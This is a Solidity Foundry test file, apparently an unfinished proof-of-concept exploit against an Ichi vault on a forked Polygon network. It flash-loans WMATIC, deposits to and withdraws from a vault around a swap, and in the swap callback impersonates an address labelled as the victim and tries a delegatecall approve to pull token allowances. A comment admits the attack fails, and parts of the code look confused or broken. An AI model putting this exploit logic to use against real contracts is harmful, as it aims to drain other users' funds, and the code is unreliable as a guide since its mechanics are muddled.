// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "../interface.sol"; interface IPool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external; function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; } interface IRouterExp { function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes memory data ) external; } interface IVault { function deposit (uint256 deposit0, uint256 deposit1, address to ) external; function withdraw( uint256, address ) external returns (uint256, uint256); } contract IchiTest is Test { IPool pool = IPool(0x1a34EaBbe928Bf431B679959379b2225d60D9cdA); IRouterExp router = IRouterExp(0xE9BD439259DE0347DC26B86b3E73437E93858283); Uni_Pair_V3 UniV3Pair1 = Uni_Pair_V3(0xE9BD439259DE0347DC26B86b3E73437E93858283); Uni_Pair_V3 UniV3Pair2 = Uni_Pair_V3(0x86f1d8390222A3691C28938eC7404A1661E618e0); IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619); IERC20 BTC = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6); IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270); Uni_Router_V3 private constant routerV3 = Uni_Router_V3(0xf5b509bB0909a69B1c207E495f687a596C168E12); IERC20 private constant stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4); function WMATICToUSDC() internal { UniV3Pair1.swap( address(this), true, int256(WMATIC.balanceOf(address(this))), 726502727714039356148082382, new bytes(0) ); } function setUp() public { vm.createSelectFork("polygon"); vm.label(address(0xD26D90869c90bF77751C8Ba93141453eAeF37A0d), "<<< VICTIM"); vm.prank(address(0x0AFF6665bB45bF349489B20E225A6c5D78E2280F)); BTC.transfer(address(this),3_232_558_736); vm.prank(address(0x1eED63EfBA5f81D95bfe37d82C8E736b974F477b)); WETH.transfer(address(this),100 ether); vm.prank(address(0xddDF49f09928967294eca61C6593327518Bd343F)); WMATIC.transfer(address(this),100 ether); } function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { WMATIC.transfer(address(pool), 1000 ether + fee0); } function testDeposit() public { uint256 balance_wmatic_before = WMATIC.balanceOf(address(this)); uint256 balance_weth_before = WETH.balanceOf(address(this)); console.log("WMATIC START:",balance_wmatic_before / 1e18); console.log("WETH START:", balance_weth_before / 1e18); WETH.approve(address(UniV3Pair1), type(uint256).max); WMATIC.approve(address(UniV3Pair1), type(uint256).max); pool.flash(address(this), 1000 ether,0,""); IVault(address(UniV3Pair1)).deposit(0,50 ether,address(this)); pool.swap({ recipient: address(this), zeroForOne: true, amountSpecified: 100 ether, sqrtPriceLimitX96: 726502727714039356148082382, data: abi.encode(address(pool)) }); IVault(address(UniV3Pair1)).withdraw(126 ether, address(this)); console.log("WMATIC STOP:",WMATIC.balanceOf(address(this)) / 1e18); console.log("WETH STOP:",WETH.balanceOf(address(this)) / 1e18); } function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external { console.log("UNI CALLBACK", msg.sender); //Forwarder forwarder = new Forwarder(address(router)); address victim = 0xD26D90869c90bF77751C8Ba93141453eAeF37A0d; vm.prank(address(victim)); WETH.allowance(address(this), address(pool)); WMATIC.approve(address(this), 100); WMATIC.allowance(address(pool), address(this)); WMATIC.allowance(address(this), address(pool)); bytes memory payload = abi.encodeWithSignature( "uniswapV3SwapCallback(int256,int256,bytes)", 0, 1, hex"000000000000000000000000D26D90869c90bF77751C8Ba93141453eAeF37A0d000000000000000000000000d26d90869c90bf77751c8ba93141453eaef37a0d" // Forward the victim address properly ); console.log("Context of: ", msg.sender); // *** Here is the part that i don't understand why it fails, despite correct logging of the emitted event? address(WMATIC).delegatecall(abi.encodeWithSignature("approve(address,uint256)",address(this),5000)); WMATIC.allowance(address(pool), address(this)); } }
0.4.18